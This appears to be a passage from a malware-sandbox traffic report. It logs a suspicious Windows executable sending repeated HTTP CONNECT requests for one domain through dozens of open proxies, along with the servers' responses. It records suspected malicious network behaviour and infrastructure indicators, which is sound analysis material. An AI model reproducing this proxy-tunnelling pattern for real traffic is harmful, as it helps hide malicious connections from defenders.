Mar 11, 2024 15:21:06.420937061 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.9	53206	104.19.120.84	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.282155037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.436547995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.9	53217	159.65.77.168	8585	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.312258959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.9	53121	79.110.196.145	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.330660105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.9	53239	104.16.241.204	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.343796015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.498111010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.9	53123	154.12.178.107	29985	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.346028090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.9	53227	38.162.3.68	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.362179041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.808048964 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.9	53124	37.235.48.19	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.380340099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.9	53151	18.169.83.87	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.380425930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.673235893 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:06 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.9	52527	117.160.250.163	81	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.382018089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.160835981 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 14:21:06 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.9	53126	193.239.56.84	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.382550955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.9	53261	162.214.204.201	36304	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.382556915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.934516907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.638111115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.825645924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.942567110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.9	53127	212.127.93.185	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.382868052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.9	53237	154.205.152.96	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.392839909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.603463888 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.9	53281	172.67.200.220	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.400484085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.554888964 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.9	53248	154.205.152.96	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.400768042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.612253904 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.9	53286	104.21.85.109	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.401133060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.555584908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.9	53298	104.25.231.184	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.405894041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.559897900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.9	53306	104.18.161.122	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.410013914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.564254045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.9	53183	212.118.43.143	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.419922113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.220474005 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.9	53154	45.233.3.1	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.424665928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.9	53128	202.162.219.12	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.424665928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.9	53152	91.148.127.162	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.425276041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.9	53331	203.30.190.46	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.428657055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.583782911 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.9	52611	112.5.33.179	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.440685034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.434829950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.528989077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.637928963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.9	53156	203.95.199.159	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.451246023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.9	53226	89.168.121.175	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.456927061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.886272907 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.9	52752	72.167.38.7	62191	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.462301016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
